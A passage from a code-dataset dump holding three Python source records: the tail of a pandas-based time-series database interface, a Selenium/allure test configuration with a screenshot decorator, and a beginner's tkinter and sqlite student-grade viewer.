DataFrame')\n            adaptor.delete(cursor, criteria, values, now or datetime.now())\n\n    def terminate(self, cursor, adaptor,\n            criteria=None, values=(), now=None, user=None):\n        \"\"\"Mark end-of-life timestamp for table rows\n           @param cursor - database cursor\n           @param adaptor - adaptor for table\n           @param criteria - criteria to determine which records to update\n           @param values - placeholder values for dictionary-like criteria\n           @param now - timestamp to note as record creation time\n           @param user - user name to attribute record terminations to\n        \"\"\"\n        with Timer(self.Logger, 'terminate'):\n            if isinstance(criteria, ps.DataFrame):\n                raise self.Exception('terminate: criteria cannot be a DataFrame')\n            adaptor.terminate(cursor, criteria, values,\n                    now or datetime.now(), user or self._username)\n\n    def count(self, cursor, adaptor, criteria=None, values=(), now=None):\n        \"\"\"Return count of records matching given criteria\n           @param cursor - database cursor\n           @param adaptor - adaptor for table\n           @param criteria - criteria to determine which records to update\n           @param values - placeholder values for dictionary-like criteria\n           @param now - timestamp to note as record creation time\n        \"\"\"\n        with Timer(self.Logger, 'count'):\n            if isinstance(criteria, ps.DataFrame):\n                raise self.Exception('count: criteria cannot be a DataFrame')\n            return adaptor.count(cursor, criteria, values,\n                    now or datetime.now())\n\n    def select(self, cursor, adaptor, criteria=None, values=(), now=None):\n        \"\"\"Retrieve dataframe from table\n           @param cursor - database cursor\n           @param adaptor - adaptor for table\n           @param criteria - criteria to determine which records to update\n           @param values - placeholder values for dictionary-like criteria\n           @param now - timestamp to note as record creation time\n        \"\"\"\n        with Timer(self.Logger, 'select'):\n            now = now or datetime.now()\n            query, values = adaptor.sql_select(criteria, values, now)\n            cursor.execute(query, values)\n            rows = cursor.fetchall()\n            frame = ps.DataFrame(dict(zip(adaptor.columns, zip(*rows))))\n            #\n            # if the criteria is a dataframe, it is possible the query\n            # will select more rows than requested (when distinct values\n            # of an index columns is large, a BETWEEN clause is used in\n            # place of an IN clause)\n            #\n            # a merge is performed with the criteria frame to ensure that\n            # rows not present in the criteria frame are filtered out\n            #\n            if not frame.empty and isinstance(criteria, ps.DataFrame):\n                frame = frame.merge(\n                        criteria,\n                        left_on=adaptor.idx_columns,\n                        right_index=True,\n                        suffixes=('', '_y'))\n            #\n            # if no rows were found, ensure the columns of the empty\n            # frame are populated to include table column names\n            #\n            elif frame.empty:\n                frame = ps.DataFrame(dict(\n                        zip(adaptor.columns, [()] * len(adaptor.columns))))\n            #\n            # ensure the columns are in the correct, fixed order\n            #\n            frame = frame.reindex(columns=adaptor.columns)\n            #\n            # index the frame using the table index before returning it\n            #\n            return frame.set_index(adaptor.idx_columns)\n\n    def upsert(self, cursor, adaptor, dataframe, now=None, user=None):\n        \"\"\"Upsert dataframe into table\n           @param cursor - database cursor\n           @param adaptor - adaptor for table\n           @param dataframe - dataframe to upsert\n           @param now - timestamp to note as record creation time\n           @param user - user name to attribute record terminations/insertions\n        \"\"\"\n        with Timer(self.Logger, 'upsert'):\n            if dataframe.shape[0] == 0:\n                return 0, 0\n            now = now or datetime.now()\n            user = user or self._username\n            #\n            # r_frame: RHS, dataframe to be upserted\n            # l_frame: LHS, frame retrieved from database\n            #\n            if dataframe.index.names != [None]:\n                dataframe = dataframe.reset_index()\n            r_frame = dataframe.set_index(adaptor.idx_columns)\n            r_frame = r_frame.reindex(columns=adaptor.data_columns)\n            l_frame = self.select(cursor, adaptor, r_frame)\n            r_keys, l_keys = set(r_frame.index), set(l_frame.index)\n            ins_keys, upd_keys = (r_keys - l_keys), (l_keys & r_keys)\n            n_ins, n_upd = 0, 0\n            #\n            # in the special case of an index-only frame, updates are not\n            # required as keys common to both frame indicate equality and\n            # nothing needs to be done;\n            #\n            index_only = (r_frame.columns.shape[0] == 0 and\n                          l_frame.columns.shape[0] == 0)\n            #\n            # compute frame of rows to be updated; as rows that are in the\n            # set of keys common to the input (r_frame) and retrieved frame\n            # (l_frame), which differ in the values of any non-key columns\n            #\n            if not index_only and upd_keys:\n                upd_r = r_frame.ix[upd_keys].fillna(0)\n                upd_l = l_frame.ix[upd_keys].fillna(0)\n                diffs = upd_r.ne(upd_l).apply(any, axis=1)\n                if any(diffs):\n                    upd_frame = r_frame.ix[diffs[diffs].index]\n                    upd_frame.index.names = r_frame.index.names\n                    upd_frame = upd_frame.reset_index()\n                    n_upd = upd_frame.shape[0]\n                    #\n                    # terminate current versions of rows that are in upd_frame\n                    #\n                    for ix, row in upd_frame.iterrows():\n                        self.terminate(cursor, adaptor,\n                                row[adaptor.idx_columns], now=now, user=user)\n                    self.insert(cursor, adaptor, upd_frame, now=now, user=user)\n            #\n            # write new versions and rows needing to be inserted\n            #\n            if ins_keys:\n                ins_frame = r_frame.ix[ins_keys]\n                ins_frame.index.names = r_frame.index.names\n                ins_frame = ins_frame.reset_index()\n                n_ins = ins_frame.shape[0]\n                self.insert(cursor, adaptor, ins_frame, now=now, user=user)\n\n            return n_upd, n_ins\n", "sub_path": "chronopg/tsdb/interface.py", "file_name": "interface.py", "file_ext": "py", "file_size_in_byte": 12809, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "chronopg.tools.exception.mk_Exception", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "urlparse.urlsplit", "line_number": 27, "usage_type": "call"}, {"api_name": "chronopg.tsdb.apis.select.select", "line_number": 30, "usage_type": "call"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 45, "usage_type": "call"}, {"api_name": "chronopg.tsdb.cursor.Cursor", "line_number": 54, "usage_type": "argument"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 59, "usage_type": "call"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "name"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 133, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 134, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 137, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 137, "usage_type": "name"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 148, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 149, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 151, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "name"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 163, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 164, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 167, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 167, "usage_type": "name"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 177, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 178, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 181, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 181, "usage_type": "name"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 191, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 192, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 192, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 196, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 206, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 217, "usage_type": "call"}, {"api_name": "chronopg.tools.timer.Timer", "line_number": 236, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 239, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 239, "usage_type": "name"}]}
+{"seq_id": "252862862", "text": "#!/usr/bin/env python  \n# -*- coding: utf-8 -*-\nimport datetime\nimport logging\nimport os\n\nimport allure\nfrom functools import wraps\n\n# 项目绝对路径\n\nprj_path = os.path.abspath(\n    os.path.dirname(os.path.abspath(os.path.split(os.path.abspath(os.path.realpath(__file__)))[0])))\n\n# 测试报告\nresults_path = os.path.join(prj_path, \"test_report\", \"results\")\nreport_path = os.path.join(prj_path, \"test_report\", \"report\")\n\n# data\ndata_path = os.path.join(prj_path, \"data\")\n\n# 测试用例\ntest_case_path = os.path.join(prj_path, \"test_case\")\n\n# driver\nchromedriver_path = os.path.join(prj_path, \"chromedriver.exe\")\ngeckodriver_path = os.path.join(prj_path, \"geckodriver.exe\")\nphantom_js_path = os.path.join(prj_path, \"phantomjs.exe\")\n\n# 验证码存放地址\nscreenImg_path = os.path.join(prj_path, \"config\")\n\n\ndef monitorweb(function):\n    @wraps(function)\n    def get_ErrImage(self, *args, **kwargs):\n        try:\n            allure.dynamic.description('用例开始时间:{}'.format(datetime.datetime.now()))\n            function(self, *args, **kwargs)\n            s = self.start._driver.get_screenshot_as_png()\n            allure.attach(s, '用例执行成功截图', allure.attachment_type.PNG)\n            weblog = self.start._driver.get_log('browser')\n            c = '\\n'.join([i['message'] for i in weblog])\n            allure.attach(c, '浏览器控制台日志', allure.attachment_type.TEXT)\n        except Exception as e:\n            f = self.start._driver.get_screenshot_as_png()\n            allure.attach(f, '用例执行失败截图', allure.attachment_type.PNG)\n            weblog = self.start._driver.get_log('browser')\n            c = '\\n'.join([i['message'] for i in weblog])\n            allure.attach(c, '浏览器控制台日志', allure.attachment_type.TEXT)\n            raise e\n        else:\n            logging.info(\" %s 脚本运行正常\" %\n                         (function.__name__)\n                         )\n\n    return get_ErrImage\n\n", "sub_path": "config/prj_conf.py", "file_name": "prj_conf.py", "file_ext": "py", "file_size_in_byte": 1969, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.abspath", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "allure.dynamic.description", "line_number": 38, "usage_type": "call"}, {"api_name": "allure.dynamic", "line_number": 38, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "attribute"}, {"api_name": "allure.attach", "line_number": 41, "usage_type": "call"}, {"api_name": "allure.attachment_type", "line_number": 41, "usage_type": "attribute"}, {"api_name": "allure.attach", "line_number": 44, "usage_type": "call"}, {"api_name": "allure.attachment_type", "line_number": 44, "usage_type": "attribute"}, {"api_name": "allure.attach", "line_number": 47, "usage_type": "call"}, {"api_name": "allure.attachment_type", "line_number": 47, "usage_type": "attribute"}, {"api_name": "allure.attach", "line_number": 50, "usage_type": "call"}, {"api_name": "allure.attachment_type", "line_number": 50, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 53, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 35, "usage_type": "call"}]}
+{"seq_id": "60175085", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\nfrom tkinter import *\r\nimport sqlite3\r\n\r\nconn = sqlite3.connect(\"student.db\")\r\nc = conn.cursor()\r\n\r\n\r\ndef search_student():\r\n   \r\n   with conn:\r\n        s_id=student_id.get()\r\n        c.execute(\"SELECT * FROM student WHERE student_id= ?\",(s_id,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchone()\r\n        print(records)\r\n        print_record=''\r\n        \r\n        for record in records:\r\n           print_record+=(record)+\"\\n\"\r\n           \r\n        listbox.insert('end', records)\r\n           \r\n           \r\n        #query_label=Label(root2,text= print_record)\r\n        #query_label.grid(row=6, column=1)\r\n        \r\n        f_name.delete(0,END)\r\n        l_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n\r\n\r\n\r\ndef add_newStudent():\r\n    \r\n    \r\n    with conn:\r\n        s_id= student_id.get()\r\n        firstName= f_name.get()\r\n        lastName= l_name.get()\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"INSERT INTO STUDENT (student_id,first_name, last_name) values (?, ?, ?)\",\r\n                (s_id, firstName, lastName))\r\n        \r\n        #query_label=Label(root2,text= \"student records added\")\r\n        #query_label.grid(row=6, column=1)\r\n        \r\n        f_name.delete(0,END)\r\n        l_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n    \r\ndef search_student():\r\n   listbox.delete('0',END)\r\n   with conn:\r\n        s_id=student_id.get()\r\n        c.execute(\"SELECT * FROM student WHERE student_id= ?\",(s_id,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchone()\r\n        print(records)\r\n        print_record=''\r\n        \r\n        for record in records:\r\n           print_record+=(record)+\"\\n\"\r\n           \r\n        listbox.insert('end', records)\r\n           \r\n           \r\n        #query_label=Label(root2,text= print_record)\r\n        #query_label.grid(row=6, column=1)\r\n        \r\n        f_name.delete(0,END)\r\n        l_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n        \r\n        \r\n        return records\r\n    \r\ndef census():\r\n   listbox.delete('0',END)\r\n  \r\n   with conn:\r\n        var=course_id.get()\r\n        records=c.execute(\"\"\"SELECT student.student_id, first_name, last_name\r\n        FROM Student\r\n        INNER JOIN enrollment ON student.student_id = enrollment.student_id where course_id=? \"\"\",(var,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchall()\r\n        print(records)\r\n        print_record=''\r\n    \r\n        \r\n        for record in records:\r\n            print_record+=str(record[0])+\" \"+str(record[1])+\" \"+str(record[2])+\"\\n\"\r\n            listbox.insert('end', print_record)\r\n            print_record=''\r\n        \r\n      #  print(print_record)\r\n       # listbox.insert('end', print_record)\r\n        \r\n       # for record in records:\r\n        #   print_record+=str(record[0])+\" \"+str(record[1])+\"\\n\"\r\n           \r\n        #query_label=Label(root2,text= print_record)\r\n        #query_label.grid(row=6, column=1)\r\n        \r\n        \r\n        f_name.delete(0,END)\r\n        l_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n        \r\n        \r\n        return records\r\n    \r\ndef view_grades_A():\r\n   listbox.delete('0',END)\r\n   with conn:\r\n        var=course_id.get()\r\n        records=c.execute(\"\"\"SELECT student.student_id, first_name, last_name,grades\r\n        FROM Student\r\n        INNER JOIN grades ON student.student_id = grades.student_id WHERE course_id=?\r\n        order by student.student_id\"\"\",(var,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchall()\r\n        print(records)\r\n        print_record=''\r\n        \r\n        for record in records:\r\n            print_record+=str(record[0])+\" \"+str(record[1])+\" \"+str(record[2])+\" \"+str(record[3])+\"\\n\"\r\n            listbox.insert('end', print_record)\r\n            print_record=''\r\n        \r\n      \r\n       \r\n           \r\n        \r\n        \r\n        f_name.delete(0,END)\r\n        l_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n        \r\n        \r\n        return records\r\n      \r\n        \r\ndef tabletest():\r\n   \r\n    \r\n    for row in rows:\r\n        print(row)\r\n        \r\ndef delete_student():\r\n    with conn:\r\n        student_id=input(\"enter studentID to delete student records\")\r\n        c.execute('DELETE FROM student WHERE student_id=?',(student_id,))\r\n        conn.commit()\r\n        \r\ndef update_studentinfo():\r\n    with conn:\r\n        student_id= input(\"enter student id of the student you want to update information on\")\r\n        new_value= input(\"enter new value?\")\r\n        #c.execute('''UPDATE student SET first_name = ? WHERE student_id = ?''', (newPrice, book_id))\r\n        c.execute('''UPDATE student SET first_name = ? WHERE student_id = ?''', (new_value, student_id))\r\n        conn.commit()\r\n        \r\ndef add_newclass():\r\n    with conn:\r\n        c_id= input(\"please enter class id number\")\r\n        className= input(\"enter class name\")\r\n        credits=input(\"enter amount of hours for this class\")\r\n        instructorName= input(\"enter instructor name\")\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"INSERT INTO course (course_id,course_name, credit_hour, instructor_name) values (?, ?, ?,?)\",\r\n                (c_id, className, credits, instructorName))\r\n        \r\ndef tabletestClass():\r\n    c.execute(\"SELECT* FROM course\")\r\n    rows=c.fetchall()\r\n    \r\n    for row in rows:\r\n        print(row)\r\n        \r\ndef add_instructor():\r\n    with conn:\r\n        fname= input(\"please enter instructor name\")\r\n        lname= input(\"instructor last name\")\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"INSERT INTO instructor (instructor_name, instructor_lastname) values (?, ?)\",\r\n                (fname,lname))\r\n        \r\n\r\ndef tabletestI():\r\n    c.execute(\"SELECT* FROM instructor\")\r\n    rows=c.fetchall()\r\n    \r\n    for row in rows:\r\n        print(row)\r\n        \r\ndef add_grades():\r\n    \r\n    with conn:\r\n        s_id= input(\"enter student id u want ot add grade for\")\r\n        c_id =input(\"insert course number for the grade\")\r\n        g=input(\"insert grade letter\")\r\n        if g == 'a' or g == 'A':\r\n            g='A'\r\n        if g == 'B' or g == 'b':\r\n            g='B'\r\n        if g == 'c' or g == 'C':\r\n            g='C'\r\n        if g == 'd' or g == 'D':\r\n            g='D'\r\n        if g == 'c' or g == 'C':\r\n            g='C'\r\n\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"INSERT INTO enrollment (student_id,course_id,grade) values (?,?,?)\",\r\n                  (s_id,c_id,g))\r\n        \r\n\r\n\r\n        \r\ndef obtain_grades():\r\n    \r\n    with conn:\r\n        s_id= input(\"enter student id u want to obtain grades from\")\r\n        c_id =input(\"insert course number for course u want to look grades for\")\r\n        \r\n\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"SELECT student_id, course_id, grades FROM grades WHERE student_id =? AND course_id=?\",(s_id,c_id,))\r\n               \r\n        grades= c.fetchall()\r\n        return grades\r\n    \r\ndef obtain_finalGrade():\r\n    \r\n    with conn:\r\n        s_id= input(\"enter student id u want to obtain finalgrade from\")\r\n        c_id =input(\"insert course number you want for final grade\")\r\n        \r\n\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"SELECT SUM(grades) FROM grades WHERE student_id =? AND course_id=?\",(s_id,c_id,))\r\n               \r\n        tupels= c.fetchone()\r\n        finalGrade=tupels[0]\r\n        grade=finalGrade\r\n        return grade/3\r\n    \r\ndef obtain_finalLetter():\r\n    \r\n    with conn:\r\n        s_id= input(\"enter student id u want to obtain final letter from\")\r\n        c_id =input(\"insert course number you want final letter from\")\r\n        \r\n\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"SELECT SUM(grades) FROM grades WHERE student_id =? AND course_id=?\",(s_id,c_id,))\r\n               \r\n        tupels= c.fetchone()\r\n        finalGrade=tupels[0]\r\n        grade=finalGrade/3\r\n        \r\n        if grade >= 89.5:\r\n            grade_letter='A'\r\n        if grade >= 79.5 and grade < 89.5:\r\n            grade_letter='B'\r\n        if grade >= 69.5 and grade <79.5:\r\n            grade_letter='C'\r\n        if grade >= 59. and grade <59.5:\r\n            grade_letter='D'\r\n            \r\n        return grade_letter\r\n        \r\n    \r\ndef tabletestE():\r\n    c.execute(\"SELECT* FROM grades\")\r\n    rows=c.fetchall()\r\n    \r\n    for row in rows:\r\n        print(row)\r\n        \r\ndef tabletestG():\r\n    c.execute(\"SELECT* FROM grades\")\r\n    rows=c.fetchall()\r\n    \r\n    for row in rows:\r\n        print(row)\r\n        \r\n        \r\ndef add_grades2():\r\n    \r\n    with conn:\r\n        s_id=student_id.get()\r\n        c_id=course_id.get()\r\n        g= int(add_grade.get())\r\n        \r\n\r\n        #c.execute(\"INSERT INTO students VALUES('studentId', 'firstName', 'lastName')\")\r\n        c.execute(\"INSERT INTO grades (student_id,course_id,grades) values (?,?,?)\",\r\n                (s_id,c_id,g))\r\n        \r\n        conn.commit()\r\n        \r\n        #conn.close()\r\n        \r\n        f_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n        \r\n        \r\n        \r\ndef add_view_grades_window():\r\n    root3=Tk()\r\n    root3.title('test//')\r\n    root3.geometry(\"450x450\")\r\n   \r\n    global student_id3\r\n    global course_id3\r\n    global add_grade3\r\n        \r\n        ## TEXT BOXES\r\n\r\n    \r\n    student_id3= Entry(root3)\r\n    student_id3.grid(row=0,column=1)\r\n    \r\n    course_id3= Entry(root3)\r\n    course_id3.grid(row=1,column=1)\r\n    \r\n    add_grade3= Entry(root3)\r\n    add_grade3.grid(row=2,column=1)\r\n    \r\n    ### TEXT BOXES LABELS\r\n\r\n    student_id_label3=Label(root3, text=\"Student ID\")\r\n    student_id_label3.grid(row=0,column=0)\r\n    course_id_label3=Label(root3, text=\"Course ID\")\r\n    course_id_label3.grid(row=1,column=0)\r\n    grade_label3=Label(root3, text=\"grade to add\")\r\n    grade_label3.grid(row=2,column=0)\r\n    \r\n    \r\n\r\n        \r\n        ##BUTTONS \r\n    view_student_gradesbtn=Button(root3, text=\"view student grade\", command=view_grades_A)\r\n    view_student_gradesbtn.grid(row=5, column=3)\r\n    \r\n    view_student_gradesbtna=Button(root3, text=\"view all grades\", command=view_grades_A)\r\n    view_student_gradesbtna.grid(row=5, column=2)\r\n\r\n        \r\n    addGrades_btn=Button(root3, text=\"add grades\",command=add_grades2)\r\n    addGrades_btn.grid(row=5, column=0)\r\n        \r\ntabletestE()\r\n#search_student()\r\n\r\ndef student():\r\n   listbox.delete('0',END)\r\n  \r\n   with conn:\r\n        var=student_id.get()\r\n        records=c.execute(\"\"\"SELECT student.student_id, first_name, last_name\r\n        FROM Student\r\n        INNER JOIN grades ON student.student_id = enrollment.student_id where student_id=? \"\"\",(var,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchone()\r\n        print(records)\r\n        print_record=''\r\n    \r\n        \r\n        for record in records:\r\n            print_record+=str(record[0])+\" \"+str(record[1])+\" \"+str(record[2])+\"\\n\"\r\n            listbox.insert('end', print_record)\r\n            print_record=''\r\n            \r\n        var=student_id.get()\r\n        records=c.execute(\"\"\"SELECT course_id, grades\r\n        FROM Student\r\n        INNER JOIN grades ON student.student_id = enrollment.student_id where student_id=? order by course_id \"\"\",(var,))\r\n      \r\n        conn.commit()\r\n        \r\n        \r\n        for record in records:\r\n            print_record+=str(record[0])+\" \"+str(record[1])+\" \"+str(record[2])+\"\\n\"\r\n            listbox.insert('end', print_record)\r\n            print_record=''\r\n        \r\n    \r\n        \r\n        \r\n        f_name.delete(0,END)\r\n        l_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n        \r\n        \r\n        return records\r\n    \r\ndef student_select():\r\n   listbox.delete('0',END)\r\n  \r\n   with conn:\r\n       ##hard coded right here\r\n        var='s1'\r\n        var2=course_id.get()\r\n        records=c.execute(\"\"\"SELECT grades\r\n        FROM grades where student_id=? AND course_id =?\"\"\",(var,var2,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchall()\r\n        print(records)\r\n        print_record=''\r\n    \r\n        listbox.insert('end',\"the following are you grades in \"+course_id.get())\r\n        for record in records:\r\n            print_record+=str(record[0])+\"\\n\"\r\n            listbox.insert('end', print_record)\r\n            print_record=''\r\n            \r\n        listbox.insert('end',\"you're final grade is \")\r\n       \r\n        \r\n        c.execute(\"SELECT SUM(grades) FROM grades WHERE student_id =? AND course_id=?\",(var,var2,))\r\n        \r\n        str_total=\"\"\r\n        tupels= c.fetchone()\r\n        finalGrade=tupels[0]\r\n        grade=finalGrade\r\n        total= grade/3\r\n        print(total)\r\n        str_total= str(total)\r\n        \r\n        listbox.insert('end',str_total)\r\n        grade_letter=''\r\n        \r\n        if total >= 89.5:\r\n            grade_letter='A'\r\n        if total >= 79.5 and grade < 89.5:\r\n            grade_letter='B'\r\n        if total >= 69.5 and grade <79.5:\r\n            grade_letter='C'\r\n        if total >= 59. and grade <59.5:\r\n            grade_letter='D'\r\n            \r\n        print(grade_letter)\r\n            \r\n        listbox.insert('end',\"your grade letter is: \")\r\n        listbox.insert('end',grade_letter)\r\n        \r\n      \r\n       \r\n        \r\n        \r\n        \r\n    \r\n       \r\n     \r\n    \r\n        \r\n        f_name.delete(0,END)\r\n        l_name.delete(0,END)\r\n        student_id.delete(0,END)\r\n        course_id.delete(0,END)\r\n        add_grade.delete(0,END)\r\n        \r\n        \r\n        return records\r\n    \r\n\r\n####################################GUI##############################################root = Tk()\r\n\r\n\r\n\r\n   \r\nroot2=Tk()\r\nroot2.title('test')\r\nroot2.geometry(\"400x300\")\r\n   \r\n\r\n        \r\n        \r\n        ##williams code###\r\n        \r\n        \r\n        ## TEXT BOXES\r\nf_name= Entry(root2)\r\nf_name.grid(row=0,column=1)\r\n\r\n\r\nl_name= Entry(root2)\r\nl_name.grid(row=1,column=1)\r\n    \r\nstudent_id= Entry(root2)\r\nstudent_id.grid(row=2,column=1)\r\n    \r\ncourse_id= Entry(root2)\r\ncourse_id.grid(row=3,column=1)\r\n    \r\nadd_grade= Entry(root2)\r\nadd_grade.grid(row=4,column=1)\r\n    \r\n    ### TEXT BOXES LABELS\r\nf_name_label=Label(root2, text=\"First name\", padx=20)\r\nf_name_label.grid(row=0,column=0)\r\nl_name_label=Label(root2, text=\"last name\")\r\nl_name_label.grid(row=1,column=0)\r\nstudent_id_label=Label(root2, text=\"Student ID\")\r\nstudent_id_label.grid(row=2,column=0)\r\ncourse_id_label=Label(root2, text=\"Course ID\")\r\ncourse_id_label.grid(row=3,column=0)\r\ngrade_label=Label(root2, text=\"grade to add\")\r\ngrade_label.grid(row=4,column=0)\r\n    \r\n    \r\n\r\n        \r\n        ##BUTTONS \r\nadd_student_btn=Button(root2, text=\"view grades\", command=student_select)\r\nadd_student_btn.grid(row=0, column=3)\r\n\r\n        \r\n\r\n\r\n# create the listbox (height/width in char)\r\nlistbox = Listbox(root2, width=36, height=10,)\r\nlistbox.grid(row=6, column=1)\r\nlistbox.config(state=NORMAL)\r\n\r\n# create a vertical scrollbar to the right of the listbox\r\n#yscroll = Scrollbar(command=listbox.yview, orient=VERTICAL)\r\n#yscroll.grid(row=12, column=1, sticky='ns')\r\n#listbox.configure(yscrollcommand=yscroll.set)\r\n\r\n# student profile\r\nwith conn:\r\n        s_id='s1'\r\n        c.execute(\"SELECT * FROM student WHERE student_id= ?\",(s_id,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchone()\r\n        print(records)\r\n        print_record=''\r\n        \r\n        for record in records:\r\n           print_record+=(record)+\"\\n\"\r\n        listbox.insert('end','welcome')  \r\n        listbox.insert('end', records)\r\n        listbox.insert('end',\"you're currently enrolled in\")\r\n        \r\n     \r\n       ##hard coded right here\r\n        var='s1'\r\n        records=c.execute(\"\"\"SELECT course_id\r\n        FROM enrollment\r\n        where student_id=? \"\"\",(var,))\r\n      \r\n        conn.commit()\r\n        records= c.fetchall()\r\n        print(records)\r\n        print_record=''\r\n    \r\n        \r\n        for record in records:\r\n            print_record+=str(record[0])+\"\\n\"\r\n            listbox.insert('end', print_record)\r\n            print_record=''\r\n            \r\n      \r\n            \r\n        \r\n\r\n\r\n\r\n\r\n\r\nroot2.mainloop()", "sub_path": "studentviewALPHA2.py", "file_name": "studentviewALPHA2.py", "file_ext": "py", "file_size_in_byte": 16804, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlite3.connect", "line_number": 11, "usage_type": "call"}]}
